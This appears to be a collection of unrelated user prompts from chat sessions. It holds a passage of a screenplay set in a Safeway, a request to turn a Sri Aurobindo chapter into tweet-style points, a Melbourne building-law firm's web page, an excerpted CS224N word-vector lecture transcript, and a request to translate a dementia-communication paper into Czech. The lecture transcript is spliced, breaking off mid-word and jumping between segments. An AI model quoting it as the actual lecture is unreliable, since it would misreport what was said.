face and I\nfinished way earlier than I\nexpected.\nHIGH SCHOOL BOY 2\nSure, sure.\nHIGH SCHOOL BOY 1\nYou wanna feel?\nHIGH SCHOOL BOY 2\nYou’d be cool with that?\nHIGH SCHOOL BOY 1\nOf course I would.\nThe first boy begins rolling up his pant leg and the second\nboy places his hand on the first boy’s calf.\n\n78.\nRUBY\nExcuse me!\nThe boys look up mid calf stroke.\nHIGH SCHOOL BOY 1\nOh, pardon me ma’am. I’ll be right\nthere.\nHe rolls his pants down and walks towards their station.\nHIGH SCHOOL BOY 1 (CONT’D)\nThe machine get angry at ya?\nMIN\nYes. And I got angry at the\nmachine.\nHIGH SCHOOL BOY 1\nAh, see? Can’t do that. It can\nsense anger.\nThe attendant takes a deep breath, eyes closed, and scans the\nbottle of rubbing alcohol. The error message disappears and\nthe item successfully scans.\nRUBY\nThis can’t be how they trained you\nto fix that.\nThe second boy is suddenly behind them.\nHIGH SCHOOL BOY #2\nNo, but it’s how the machines want\nus to fix them.\nThe boys both give a slight bow in unison and return to their\nstand. Min pays for the items, Ruby deeply pondering what she\njust witnessed.\nEXT. SAFEWAY PARKING LOT – DAY\nRuby leans against the car, staring at the store sign.\nMIN\nImagining a chalet entrance?\nRuby whips around.\nRUBY\n(knowingly)\nNoooo.\n\n79.\nMIN\nI think it would look really nice.\nRuby smiles.\nEXT. AMERICAN FALLS CITY STREET - DAY\nThe PT Cruiser sails past a sign that reads “American Falls.”\nEXT. ALPHA SAFEWAY – DAY\nRuby is in her work uniform. Shirt starched, pants ironed,\nname tag perfectly horizontal, bra still visible. Whatever\nhangover remains hides behind her excitement.\nThis is her Mecca, her Disneyland, her Atlantis, and her face\nisn’t hiding the tidal wave of emotion flooding her body.\nRUBY\nIt’s beautiful. I don’t think I’m\nready though-\nRuby turns around and starts to head back towards the car.\nMIN\nHey Ruby?\nShe turns back towards him.\nMIN (CONT’D)\nI think you’re ready.\nShe takes a deep breath and returns to his side. The dynamic\nduo take a few steps forward and enters-\nINT. ALPHA SAFEWAY – DAY\nHer eyes light up, dramatic music plays, her face is glowing.\nBut as her vision focuses-\nChaos.\nAn angry patron is screaming at a cashier, who then takes her\ncarton of eggs and slams them to the floor.\nTwo patrons crash into one another with their shopping carts\nin a battle for the last can of Ranch-style beans.\nTo the left, produce rolls around on the floor as a child\nknocks over the displays. A WITHERED EMPLOYEE follows him.\n\n80.' -"20 POINTS i should know on text in the style of in sahil bloom's tweets: Chapter I The Human Aspiration\nShe follows to the goal of those that are passing on beyond, she is the first in the eternal succession of the dawns that are coming, — Usha widens bringing out that which lives, awakening someone who was dead. . . . What is her scope when she harmonises with the dawns that shone out before and those that now must shine? She desires the ancient mornings and fulfils their light; projecting forwards her illumination she enters into communion with the rest that are to come.\n\nKutsa Angirasa — Rig Veda.[1]\n\nThreefold are those supreme births of this divine force that is in the world, they are true, they are desirable; he moves there wide-overt within the Infinite and shines pure, luminous and fulfilling.... That which is immortal in mortals and possessed of the truth, is a god and established inwardly as an energy working out in our divine powers. . . . Become high-uplifted, O Strength, pierce all veils, manifest in us the things of the Godhead.\n\nVamadeva — Rig Veda.[2]\n\nTHE EARLIEST preoccupation of man in his awakened thoughts and, as it seems, his inevitable and ultimate preoccupation, — for it survives the longest periods of scepticism and returns after every banishment, — is also the highest which his thought can envisage. It manifests itself in the divination of Godhead, the impulse towards perfection, the search after pure Truth and unmixed Bliss, the sense of a secret immortality. The ancient dawns of human knowledge have left us their witness to this constant aspiration; today we see a humanity satiated but not satisfied by victorious analysis of the externalities of Nature preparing to return to its primeval longings. The earliest formula of Wisdom promises to be its last, — God, Light, Freedom, Immortality.\n\nThese persistent ideals of the race are at once the contradiction of its normal experience and the affirmation of higher and deeper experiences which are abnormal to humanity and only to be attained, in their organised entirety, by a revolutionary individual effort or an evolutionary general progression. To know, possess and be the divine being in an animal and egoistic consciousness, to convert our twilit or obscure physical mentality into the plenary supramental illumination, to build peace and a self-existent bliss where there is only a stress of transitory satisfactions besieged by physical pain and emotional suffering, to establish an infinite freedom in a world which presents itself as a group of mechanical necessities, to discover and realise the immortal life in a body subjected to death and constant mutation, — this is offered to us as the manifestation of God in Matter and the goal of Nature in her terrestrial evolution. To the ordinary material intellect which takes its present organisation of consciousness for the limit of its possibilities, the direct contradiction of the unrealised ideals with the realised fact is a final argument against their validity. But if we take a more deliberate view of the world’s workings, that direct opposition appears rather as part of Nature’s profoundest method and the seal of her completest sanction.\n\nFor all problems of existence are essentially problems of harmony. They arise from the perception of an unsolved discord and the instinct of an undiscovered agreement or unity. To rest content with an unsolved discord is possible for the practical and more animal part of man, but impossible for his fully awakened mind, and usually even his practical parts only escape from the general necessity either by shutting out the problem or by accepting a rough, utilitarian and unillumined compromise. For essentially, all Nature seeks a harmony, life and matter in their own sphere as much as mind in the arrangement of its perceptions. The greater the apparent disorder of the materials offered or the apparent disparateness, even to irreconcilable opposition, of the elements that have to be utilised, the stronger is the spur, and it drives towards a more subtle and puissant order than can normally be the result of a less difficult endeavour. The accordance of active Life with a material of form in which the condition of activity itself seems to be inertia, is one problem of opposites that Nature has solved and seeks always to solve better with greater complexities; for its perfect solution would be the material immortality of a fully organised mind-supporting animal body. The accordance of conscious mind and conscious will with a form and a life in themselves not overtly self-conscious and capable at best of a mechanical or subconscious will is another problem of opposites in which she has produced astonishing results and aims always at higher marvels; for there her ultimate miracle would be an animal consciousness no longer seeking but possessed of Truth and Light, with the practical omnipotence which would result from the possession of a direct and perfected knowledge. Not only, then, is the upward impulse of man towards the accordance of yet higher opposites rational in itself, but it is the only logical completion of a rule and an effort that seem to be a fundamental method of Nature and the very sense of her universal strivings.\n\nWe speak of the evolution of Life in Matter, the evolution of Mind in Matter; but evolution is a word which merely states the phenomenon without explaining it. For there seems to be no reason why Life should evolve out of material elements or Mind out of living form, unless we accept the Vedantic solution that Life is already involved in Matter and Mind in Life because in essence Matter is a form of veiled Life, Life a form of veiled Consciousness. And then there seems to be little objection to a farther step in the series and the admission that mental consciousness may itself be only a form and a veil of higher states which are beyond Mind. In that case, the unconquerable impulse of man towards God, Light, Bliss, Freedom, Immortality presents itself in its right place in the chain as simply the imperative impulse by which Nature is seeking to evolve beyond Mind, and appears to be as natural, true and just as the impulse towards Life which she has planted in certain forms of Matter or the impulse towards Mind which she has planted in certain forms of Life. As there, so here, the impulse exists more or less obscurely in her different vessels with an ever-ascending series in the power of its will-to-be; as there, so here, it is gradually evolving and bound fully to evolve the necessary organs and faculties. As the impulse towards Mind ranges from the more sensitive reactions of Life in the metal and the plant up to its full organisation in man, so in man himself there is the same ascending series, the preparation, if nothing more, of a higher and divine life. The animal is a living laboratory in which Nature has, it is said, worked out man. Man himself may well be a thinking and living laboratory in whom and with whose conscious co-operation she wills to work out the superman, the god. Or shall we not say, rather, to manifest God? For if evolution is the progressive manifestation by Nature of that which slept or worked in her, involved, it is also the overt realisation of that which she secretly is. We cannot, then, bid her pause at a given stage of her evolution, nor have we the right to condemn with the religionist as perverse and presumptuous or with the rationalist as a disease or hallucination any intention she may evince or effort she may make to go beyond. If it be true that Spirit is involved in Matter and apparent Nature is secret God, then the manifestation of the divine in himself and the realisation of God within and without are the highest and most legitimate aim possible to man upon earth.\n\nThus the eternal paradox and eternal truth of a divine life in an animal body, an immortal aspiration or reality inhabiting a mortal tenement, a single and universal consciousness representing itself in limited minds and divided egos, a transcendent, indefinable, timeless and spaceless Being who alone renders time and space and cosmos possible, and in all these the higher truth realisable by the lower term, justify themselves to the deliberate reason as well as to the persistent instinct or intuition of mankind. Attempts are sometimes made to have done finally with questionings which have so often been declared insoluble by logical thought and to persuade men to limit their mental activities to the practical and immediate problems of their material existence in the universe; but such evasions are never permanent in their effect. Mankind returns from them with a more vehement impulse of inquiry or a more violent hunger for an immediate solution. By that hunger mysticism profits and new religions arise to replace the old that have been destroyed or stripped of significance by a scepticism which itself could not satisfy because, although its business was inquiry, it was unwilling sufficiently to inquire. The attempt to deny or stifle a truth because it is yet obscure in its outward workings and too often represented by obscurantist superstition or a crude faith, is itself a kind of obscurantism. The will to escape from a cosmic necessity because it is arduous, difficult to justify by immediate tangible results, slow in regulating its operations, must turn out eventually to have been no acceptance of the truth of Nature but a revolt against the secret, mightier will of the great Mother. It is better and more rational to accept what she will not allow us as a race to reject and lift it from the sphere of blind instinct, obscure intuition and random aspiration into the light of reason and an instructed and consciously self-guiding will. And if there is any higher light of illumined intuition or self-revealing truth which is now in man either obstructed and inoperative or works with intermittent glancings as if from behind a veil or with occasional displays as of the northern lights in our material skies, then there also we need not fear to aspire. For it is likely that such is the next higher state of consciousness of which Mind is only a form and veil, and through the splendours of that light may lie the path of our progressive self-enlargement into whatever highest state is humanity’s ultimate resting-place.\n\nQuestion: 10380 chars / 1755 wordsThread: 190718 chars / 31202 words" -'here\'s the second content. I only want you to reply "acknowledged" to remember the second content. I will give you further instructions after this.\nConstruction & Building Lawyers in Melbourne\nWe are expert building and construction lawyers who provide practical legal advice and representation to:\n\nProperty Owners (including home owners)\nBuilders\nContactors / Sub-Contractors\nProperty developers\nEngineers\nArchitects\nSurveyors\nTradespeople\nBuilding and construction lawyers\nOur Building Legal Services\nCOMMERCIAL BUILDING & CONSTRUCTION\nRESIDENTIAL BUILDING & CONSTRUCTION\nOWNERS CORPORATION\nOur construction and building lawyers in Melbourne have expertise in a wide range of matters relating to the building industry, helping land owners, builders, project managers, and others to avoid running into legal difficulties – or otherwise resolve them.\n\nWe have practical experience in and around the building industry, which means that our building lawyers understand both the practical side of building issues, in addition, of course, to the legal issues.\n\nNew Building Contracts - Drafting the Contract\nAs a builder or contractor, you may require expert input from a construction lawyer into the legal terms of a domestic or commercial building contract. We can draft the contract for you from the beginning or otherwise adapt an existing contract to cater for a particular job.\n\nContract Review and Negotiation\nDomestic Building Contracts are, even in the standard form, complex documents, whether the contract is for a new home or a renovation. Our building lawyers in Melbourne have advised many clients about their rights and responsibilities under their building contract. There are many “tricky”” parts in these contracts that can cost you a lot of money and time later if not thought through and addressed upfront. In other words, many problems are preventable. We can take you through the terms of your building contract before you sign it – and help you think through the issues and the legal consequences of agreeing to certain things. If amendments are required, we can also assist you in negotiating special conditions to the contract, to suit your particular circumstances.\n\nContract Termination\nOur building and construction lawyers can assist you in the following circumstances:\n\nWhen you are considering terminating a building contract\nWhen you are being threatened with building contract termination\nWhen you are in a situation where the contract has already been terminated.\nEnding the contract is a serious matter. It should not be done without seeking proper legal advice first.\n\nGenerally, a carefully drafted notice will need to be served before you terminate, so that the other party has an opportunity to fix the problems.\n\nIf the matters are not resolved, and provided there are sufficient grounds – which must also be thought through carefully – the contract can then usually be terminated.\n\nTermination by a builder or property owner can be a helpful resolution to a difficult and costly dispute when appropriate. If you terminate incorrectly, this can lead to a very expensive and protracted further dispute. You want to avoid any such dispute where possible.\n\nIf you require advice in relation to such matters, we recommend that you contact a building lawyer promptly before taking further action yourself.\n\nContractual Disputes, Litigation and Dispute Resolution\nWhile disputes are usually unpleasant and time consuming, we assist clients to:\n\nAssert and enforce contractual rights; and\nWhere necessary, assist to contain the damage and present our client’s position in the best possible light.\nContractual disputes can often be resolved sensibly without the need for legal proceedings or mediation. Where possible, our building dispute lawyers will assist clients with that negotiation. If the matter needs to be litigated, we have experience representing clients in all Victorian courts and VCAT.\n\nOur building lawyers in Melbourne take a proactive approach to dispute resolution and prepare thoroughly for mediation and court proceedings.\n\nIf you have a dispute and require legal advice from building dispute lawyers, we recommend that you contact us as soon as possible to seek advice about how best to address the issues and move towards resolving the matter.\n\nWorkplace Health and Safety\nThere is a significant obligation on building companies to address health & safety matters.\n\nOur Melbourne-based construction lawyers provide advice in this complex area, including in relation to code of practice compliance and regulator investigations prosecution issues.\n\nTerms of Trade and Credit Arrangements\nWhether you’re a builder or contractor, and whether you’re providing the service or are the recipient of the service, it is important that you ensure that the terms of trade are helpful to you, and not a potential hindrance.\n\nOur construction lawyers in Melbourne are experienced in both drafting and reviewing terms of trade, including terms that include payment terms and credit arrangements. Getting this right upfront can save confusion and cost and later – and prevents a dispute later.\n\nIf you are already in dispute and need advice, we can also assist in representing you to resolve the dispute as quickly as possible.\n\nSecurity of Payment Act Claims\nThe point behind the Security of Payments Act legislation is that a party who undertakes construction work is entitled to recover progress payments in relation to the work carried out.\n\nThis is a complex area. When used appropriately, it can be a powerful tool for getting paid, but careful consideration is required as to whether it is the best approach in the circumstances.\n\nA building and construction lawyer can assist you with:\n\nMaking a claim\nApplying for Adjudication\nDefending a claim, including adjudication responses\nApplying to set aside an adjudication determination\nEnforcing an adjudication determination or judgment\nThere are also other methods of debt recovery, and we have experience acting for both plaintiffs and defendants in such circumstances.\n\nBusiness Set Up\nWe regularly provide advice for setting up a new business, including business structures.\n\nWhether you choose to operate as a sole trader company or select a company trust structure can affect your ongoing liability and have taxation consequences.\n\nNeeds also change over time. What might have been suitable when you start business may need to be reviewed as your business grows and changes.\n\nGood legal advice from a construction lawyer will assist you to think through the issues so you can get your building and construction business structure right.\n\nBuying and Selling Real Estate\nAs a builder or developer, if you are involved in buying and selling development sites, you will need to have solid legal advice from a construction lawyer in Melbourne.\n\nWe have property lawyers who can assist in contracts for the sale and purchase of land and, where relevant, commercial and residential leases.\n\nBuilder, Contractor and Sub-contractor Agreements and Disputes\nThe relationship between a contractor and sub-contractor is somewhat unique. It is business to business and you are both in the building industry. Disputes are common and the party who understands its legal position will have the advantage.\n\nOur building dispute lawyers can advise in relation to the following contractor-specific matters:\n\nEmployment advice – A building lawyer can help determine if the contractor is truly a contractor or an employee and assist with disputes where they arise.\n\nContracts between builders, contractors and subcontractors – Our construction lawyers in Melbourne can draft and review such contracts and provide advice in the event of a dispute. Where the matter cannot be resolved amicably, our building litigators will represent you very competently.\n\nDisputes between builders, contractors and subcontractors – If there is a dispute, small disagreements can become expensive disputes quickly. It is sensible to work out the legal issues quickly and try to resolve the dispute. If the other party is not being sensible, a swift and firm approach is usually helpful.\n\nIf you need advice in relation to matters between builders, contractors and sub-contractors, our team of building dispute lawyers can assist you with a high degree of competence.\n\nLicences and Permits\nOur building lawyers in Melbourne can provide advice in relation to the following:\n\nBuilding plumbing, electrical and gas fitting licences – including application, suspension and appeal\nDevelopment applications\nWater usage\nSewerage/drainage matters\nTree protection (including dealing with planning permit conditions and overlays)\nFire management and fire safety\nExplosives\nAsbestos removal\nPublic land use\nOur building and construction lawyers can assist in the preparation of documentation and representation in relation to all of the above.\n\nBuilding Defects and Home Warranty Insurance Claims\nNot all builders are good builders.\n\nHome warranty claims can be made against builders for defective work.\n\nThe insurance policy cannot be claimed against unless the builder is insolvent, cannot be found or is dead. So, the circumstances are limited.\n\nOur building lawyers have strong experience in helping land owners who have engaged builders and the work is substandard. There are useful remedies available to help get your defects fixed and/or to get you an appropriate amount of compensation.\n\nWe have access to outstanding building experts who can identify the defects (sometimes well beyond what is already known) and ascribe a value to fixing those defects to assist us in properly articulating your claim.\n\nWe will always endeavour to get the dispute resolved without litigation but, if necessary, our building dispute lawyers will prosecute your case with vigour against the builder in VCAT or the courts.\n\nIf you are in dispute with your builder and need legal advice as to how to negotiate with them, or if you would like us to negotiate for you, please contact us.\n\nDebt Recovery\nDebt recovery in building matters is not always clear cut. There can be offsets and counterclaims, so thoughtful consideration of the approach is advantageous.\n\nOur debt recovery team is very experienced and typically successful at recovering outstanding payments.\n\nWe regularly issue letters of demand and commence proceedings to enforce the payment of outstanding debts.\n\nWe will also recommend the Security of Payment approach where appropriate.\n\nWe also defend claim for payment for clients to whom alleged monies are owed.\n\nProject Finance & Finance Documentation Advice\nWe can provide clients with a sound explanation of all finance contracts and personal guarantees in relation to such matters as:\n\nLender contracts from bank and financiers relating to the mortgage of land\nProject funding\nEquipment finance\nThese appointments are usually short and concise. Our building and construction lawyers will ensure that the documentation is explained to you adequately and that the documents are signed correctly.\n\nCall our construction lawyers today on 1300 907 335 to discuss your situation, or simply fill in the enquiry form on this page to receive a prompt response from our construction and building lawyers in Melbourne.' -'Lecture-1 2021 edition\n\nTranscript: "Hi, everybody. Welcome to Stanford\'s CS224N, also known as Ling284, Natural Language Processing with Deep Learning. I\'m Christopher Manning, and I\'m the main instructor for this class. So what we hope to do today is to dive right in. So I\'m going to spend about 10 minutes talking about the course, and then we\'re going to get straight into content for reasons I\'ll explain in a minute. So we\'ll talk about human language and word meaning, I\'ll then introduce the ideas of the word2vec algorithm for learning word meaning. And then going from there we\'ll kind of concretely work through how you can work out objective function gradients with respect to the word2vec algorithm, and say a teeny bit about how optimization works. And then right at the end of the class I then want to spend a little bit of time giving you a sense of how these word vectors work, and what you can do with them. So really the key learning for today is, I want to give you a sense of how amazing deep learning word vectors are. So we have this really surprising result that word meaning can be represented, not perfectly but really rather well by a large vector of real numbers. And that\'s sort of in a way, a commonplace of the last decade of deep learning, but it flies in the face of thousands of years of tradition. And it\'s really rather an unexpected result to start focusing on. OK, so quickly what do we hope to teach in this course? So we\'ve got three primary goals. The first is to teach you the foundation, say a good deep understanding of the effect of modern methods for deep learning applied to NLP. So we are going to start with and go through the basics, and then go on to key methods that are used in NLP, recurrent networks, attention transformers, and things like that. We want to do something more than just that. We\'d also like to give you some sense of a big picture understanding of human languages and what are the reasons for why they\'re actually quite difficult to understand and produce even though humans seem to do it easily. Now obviously if you really want to learn a lot about this topic, you should enroll in and go and start doing some classes in the linguistics department. But nevertheless for a lot of you, this is the only human language content you\'ll see during your master\'s degree or whatever. And so we do hope to spend a bit of time on that starting today. And then finally, we want to give you an understanding of an ability to build systems in PyTorch, that\'s some of the major problems in NLP. So we\'ll look at learning word meanings, dependency parsing, machine translation, question answering. Let\'s dive in to human language. Once upon a time, I had a lot longer introduction that gave lots of examples about how human languages can be misunderstood and complex, I\'ll show a few of those examples in later lectures. But since right for today, we\'re going to be focused on word meaning. I thought I\'d just give one example, which comes from a very nice xkcd cartoon. And that isn\'t sort of about some of the syntactic ambiguities of sentences, but instead it\'s really emphasizing the important point that language is a social system, constructed and interpreted by people. And that\'s part of how-- and it changes as people decide to adapt its construction, and that\'s part of the reason why human languages, great as an adaptive system for human beings but difficult as a system for our computers to understand to this day. So in this conversation between the two women, one says, anyway I could care less. And the other says, I think you mean you couldn\'t care less, saying you could care less implies you care at least some amount. And the other one says, I don\'t know where these unbelievably complicated brains drifting through a void trying in vain to connect with one another, by plainly fleeing words out into the darkness. Every choice of phrasing, spelling, and tone, and timing carries countless sync signals and contexts and subtext, and more and every listener interprets those signals in their own way. Language isn\'t a formal system, language is glorious chaos. You can never know for sure what any words will mean to anyone, all you can do is try to get better at guessing how your words affect people. So you can have a chance of finding the ones that will make them feel something like what you want them to feel. Everything else is pointless. I assume you\'re giving me tips on how you interpret words because you want me to feel less alone. If so, then thank you, that means a lot. But if you\'re just running my sentences to pass some mental checklist so you can show off how well you know it, then I could care less. OK, so that\'s ultimately what our goal is, how to do a better job at building computational systems that try to get better at guessing how their words will affect other people and what other people are meaning by the words that they choose to say. So an interesting thing about human language is, it is a system that was constructed by human beings. And it\'s a system that was constructed relatively recently in some sense. So in discussions of artificial intelligence, a lot of the time people focus a lot on human brains and the neurons passing by, and this intelligence that\'s meant to be inside people\'s heads. But I just wanted to focus for a moment on the role of language, there\'s actually-- this is kind of controversial but it\'s not necessarily the case that humans are much more intelligent than some of the higher apes like chimpanzees or bonobos. So chimpanzees and bonobos have been shown to be able to use tools, to make plans, and in fact chimps have much better short term memory than human beings do. So relative to that, if you look through the history of life on Earth, human beings develop language really recently. How recently, we kind of actually don\'t know because there\'s no fossils that say, OK here\'s a language speaker. But most people estimate that language arose for human beings sort of somewhere in the range of 100,000 to a million years ago. OK, that\'s the way I let go but compared to the process of the evolution of life on Earth, that\'s kind of blinking an eyelid. But that powerful communication between human beings quickly set off our ascendancy over other creatures. So it\'s kind of interesting that the ultimate power turned out not to have been poisonous fangs or being super fast or super big, that having the ability to communicate with other members of your tribe. It was much more recently again that humans developed writing, which allowed knowledge to be communicated across distances of time and space. And so that\'s only about 5,000 years old, the power of writing. So in just a few thousand years the ability to preserve and share knowledge took us from the Bronze Age to the smartphones and tablets of today. So a key question for artificial intelligence and human-computer interaction is how to get computers to be able to understand the information conveyed in human languages. Simultaneously, arti What GPT-3 is about and why it\'s great is actually a bit subtle, and so I can\'t really go through all the details of this here but it\'s exciting because it seems like it\'s the first step on the path to what we might call universal models, where you can train up one extremely large model on something like, that library picture I showed before, and it just has knowledge of the world knowledge of human languages knowledge, of how to do tasks. So that the meaning of the word chair is the set of things that are chairs. And that\'s referred to as denotational semantics. A term that\'s also used and similarly applied for the semantics of programming languages. This model isn\'t very deeply implementable, like how do I go from the idea that chair means the set of chairs in the world to something I can manipulate meaning with my computers. So the kind of if you had a high school English dictionary it probably have about 250,000 words in it, but there are many, many more words in the language really. So maybe we at least want to have a 500,000 dimensional vector to be able to cope with that. OK, but the bigger the even bigger problem with discrete symbols is that we don\'t have this notion of word relationships and similarity. We\'ll find a bunch of places where banking occurs in text, and will collect the sort of nearby words that context words and we\'ll see and say that those words that are appearing in that kind of muddy brown color around banking, that those contexts words will in some sense represent the meaning of the word banking. So in this sort of overall picture, I can zoom into one part of the space, is actually the part that\'s up here and this view of it. And it\'s got words for countries, so not only are countries generally grouped together, even the sort of particular sub groupings of countries make a certain amount of sense. So we have a piece of text, we choose our center word which is here in two and then we say, well, if a model of predicting the probability of context words given the center word and this model, we\'ll come to in a minute, but it\'s defined in terms of our word vectors. So let\'s see what probability it gives to the words that actually occurred in the context of this word. Now at this point there\'s a little technical point, we\'re actually going to give to each word, two word vectors. One word vector for when it\'s used as the center word, and a different word vector when that\'s used as a context word. This is done because it just simplifies the math and the optimization, that seems a little bit ugly that actually makes building word vectors a lot easier, and really we can come back to that and discuss it later. So most of the probability goes to the most similar things, and it\'s called soft because well, it doesn\'t do that absolutely. It\'ll still give some probability to everything that\'s in the slightest bit similar-- I mean, on the other hand it\'s a slightly weird name because max normally takes a set of things and just returns one the biggest of them, whereas the softmax is taking a set of numbers and scaling them, that is returning the whole probability distribution. are the components, the dimensions of the word vectors of every word. And so we have the center word vectors and the outside word vectors. So here I\'m just going to do the center word vectors but on homework-- on a future homework assignment two, the outside word vectors will show up and they\'re kind of similar. Most of the time you can justify it perfectly well by thinking about what happens with one dimension at a time, and it generalizes to multivariable calculus. So if about all that you remember of calculus is that d dx of ax equals a, really it\'s the same thing that we\'re going to be using here. That here we have the outside word dot producted with the VC. So we then taking the derivative of this, and so then the derivative of exp is itself, so we\'re going to just have exp of the UXTVC times there\'s is a sum of X equals 1 to V times the derivative of UX TVC. OK, and so then this is what we\'ve worked out before, we can just rewrite as UX. OK, so now we\'re making progress. It\'s a package that\'s often used for word vectors, it\'s not really used for deep learning. So this is the only time you\'ll see it in the class, but if you just want a good package for working with word vectors and some other application it\'s a good one to know about. OK so then in my second cell here I\'m loading a particular set of word vectors. Actually that by itself isn\'t very useful because when you just ask for most negatively similar to things, you tend to get crazy strings that were found in the data set that you don\'t know what they mean if anything. But if we put the two together, we can use the most similar function with positives and negatives to do analogies. Can I ask a quick question about the distinction between the two vectors per word? Yes. So my understanding is that there can be several context words per word in the vocabulary, but then there\'s only two vectors I thought the distinction between the two is that one it\'s like the actual word and one is the context word. sort of get like the rule of or the C of O or something like that. And so I\'m wondering, is there-- are there relationships between those relational vectors themselves such as, like is the rule of vector sort of similar to the C of O of vector which is very different from like-- makes a good sandwich with vector. is this quarter there\'s also a speech class being taught, which is CS224S, a speech class being taught by Andrew Maas, and you know this is a class that\'s been more regularly offered, sometimes it\'s only been offered every third year, but it\'s being offered right now. So if what you want to do is learn about speech recognition and learn about sort of methods for building dialogue systems, you should do CS224S. That\'s not the end of the story, I mean absolutely people wanted to use neural networks for sentiment and other kinds of sort of connotation effect. And there are very good ways of doing that, but somehow you have to do something more than simply predicting words and context because that\'s not sufficient to capture that dimension, more on that later. Things and I\'ll mention that on Thursday. Right, OK, thank you. I was asking for more information about how word vectors are constructed beyond the summary of random initialization. And then gradient based additive [INAUDIBLE].. Yeah, so I sort of will do a bit more connecting this together in the Thursday lecture, I guess to sort of-- I mean so much one can fit in the first class, but the picture is essentially the picture I showed the pieces of."\nPat-2 is coming, wait here' -'Přelož následující text do češtiny, pokud možno co největší kus textu najednou:\n\n4.\u2003RESULTS\nThe current demographic trend dramatically changes the number of elderly people. This aging trend of the population is the cause of increasing diseases occurring in elderly people, such as dementia. Dementia represents a diverse category of syndromes that characterize a deficit in memory, cognitive function and behavior (9). Cognitive impairment of people with dementia may limit their ability to communicate effectively (10). Dementia is a term used to describe a group of brain disorders that have a profound impact on an individual’s life (11). Currently, the leading cause of dementia is Alzheimer’s disease, vascular disease and Levi’s disease (12).\n\nIt is estimated that the prevalence of dementia is about 6% to 10% of persons older than 65 years. Prevalence increases with age, rising from 1% to 2% among those aged 65 to 74 years to 30% or more in those older than 85 years (13). At age of 90 to 94, 40% of people have dementia, with a prevalence of dementia being 58% among individuals older than 94 (14). Vascular dementia is considered as the second major form of dementia (15), or the other most common form of dementia (16). Her frequency is different from dementia caused by Alzheimer’s disease, which is 10-20% of cases (15). Some researchers estimate that dementia due to Levi’s disease accounts for 15% to 20% of all cases of dementia (17). It seems that the symptoms associated with dementia distributed over the continuum, affect the health of older adults and deserve intervention (18).\n\n4.1. COMMUNICATION AND COMMUNICATION DIFFICULTIES\nLanguage performance is both influenced by normal aging and by development of dementia (19). Dementia is defined as memory impairment with the impairment of at least one other cognitive function such as language (aphasia) or executive function (for example: planning, attention and abstract understanding) (15). Cognitive and daily functioning decline are the primary symptoms of dementia (20). Difficulties related to communication are among the earliest symptoms of dementia (21). Loss of linguistic abilities is common symptom among people with dementia, who may precede other aspects of the cognitive decline (22). Language difficulties are a major problem for most patients with dementia, especially as the disease progresses and goes from moderate to severe stage (23). Early signs that communication of a person with dementia is affected are the difficulties of word finding, especially when naming people or objects. A person can replace the word with the wrong one or not find a substitute at all (24). As the disease progresses, it leads to forgetting names of family members, friends, confusion about family relationships, and often affected persons no longer recognize members of their family (24).\n\nResearchers around the world discuss theories about the presence of semantic and perceptual lacks in order to explain the appearance of language disorders in Alzheimer’s dementia (25). Dementia, such as the one resulting from Alzheimer’s disease, involves progressive degradation of language function (26). Language deficiencies are evident in all patients with Alzheimer’s disease: they achieve significantly lower results in the area of verbal expression, hearing comprehension, repetition, reading and writing. Syntax and phonology remain relatively intact, but semantic abilities are impaired (27). Patients with dementia, especially associated with Alzheimer’s disease, have difficulties with participation in communication as well as in the area of understanding, speaking fluency, comprehensiveness, word production, syntax and verbal feedback, while nonverbal communication is mostly preserved (understanding of gestures, facial expression, gesture use) (28).\n\nMultiple cognitive domains, including language and communicative function are affected by vascular dementia (29). Patients with vascular dementia usually have dysarthria with variable abnormalities of the language (30). The main characteristics of speech and language in people with Alzheimer’s dementia include: difficulties in finding words for objects, difficulties with naming, understanding difficulties, and a louder voice when speaking. In vascular type dementia, to previously mentioned are added incomprehensible speech and reduced complexity of the sentence (31). Characteristics of language degradation in Alzheimer’s dementia are compared with those of various aphasic syndromes (25).\n\nLanguage disorders can be perceived as a weak language system, which includes difficulties in finding words, recalling words or anomia (32). People with dementia use less words, less common words, less prepositional phrases, less depending clauses, and more incomplete fragmented sentences. The lexical deficits tend to be more difficult than the syntax deficits, which confirms the assumption that lexicon of people with dementia is more sensitive than syntax (33).\n\nThe American Speech-Language-Hearing Association (ASHA) prescribes the role of speech-language pathologists/therapists in identifying, assessing, intervening, counseling, cooperation, management, education, advocacy and research of people with dementia (34). It is important to understand that dementia affects the communication of the person with dementia, but it is also necessary to adapt the communication of other persons, persons from the environment that are involved in care. Care for people with dementia requires specific communication skills (35). Communication is key to provide good care for a person with dementia (10). Treatment strategies aimed at increasing attention and understanding and simplifying conversation will improve communication skills between people with dementia and care providers (Ross, Cummings and Benson, 1990). Health professionals and family caregivers usually get little training that enables them to meet the communication needs of people with dementia (35). Limited abilities to communicate effectively can affect the ability of caregivers to identify the needs of people with dementia (10).\n\nThe Alzheimer’s Association Sugden-Best suggests strategies to promote effective communication with a person with dementia (10): Always access the person with dementia from the front; Make sure you look at a person when you talk to him or her; Give the person some signs, as touching hand, or use the person’s name before you start the conversation; Ensure that the environment is calm and free of disturbance; Use simple language and speak slowly; Use short and simple sentences; Talk to a person with dementia as an adult and do not speak in the presence of a person as if he or she is not present; Give enough time to process information and to respond; Try to let the person with dementia to complete their thoughts and make choices with the words; Avoid guessing what the person with dementia is trying to say; Encourage an individual to write a word that he or she is trying to express and to at loud; It might be useful to use a pictogram that uses image views; A person with dementia can be useful to “fill in” answers to questions such as “I need” or “I want” just by showing the appropriate picture; Use proper facial expressions, sometimes it may seem exaggerated, for example to smile when talking about happy events, but do it; Do not correct the person with dementia if he or she is making mistakes; Do not stress the person with dementia to respond; Encourage an individual to use any way of communication he or she feels comfortable with, for example, gesture or writing; Use touch to help concentrate, to set up another way of communication and offer security and encouragement; Avoid confrontation and conflicts with people with dementia.\n\nTraining/instruction of communication skills related to the care of people with dementia significantly influences the communication of professional and family caregivers, their skills, abilities and knowledge, improves the quality of life and well-being of people with dementia and increases positive interaction in different care settings (35).\n\nGo to:\n5.\u2003CONCLUSION\nDementia is a rapidly growing unit, as the society is getting older we can expect an increasing number of people with dementia. If not affected, then as a potential caregivers or at least the neighbors of the person with dementia, we can provide dementia friendly society only with a certain knowledge. In order to promote cognitive functioning and independence among older adults, public health interventions should also facilitate early detection and treatment of dementia. Communicative (speech and language) difficulties, which are one of the groups of accompanying symptoms of dementia, should be recognized as a consequence of neural degradation in order to provide the necessary help in time. Communication is a very important segment of every person’s life, we use it to actively participate in society, pass on our wishes and needs, and share attitudes, knowledge and experience with other members of the community. Previous indicates the importance of ensuring the ability to communicate and adjust the communication system if needed. Speech and language pathologists/therapists should be actively involved in treating people with dementia through direct 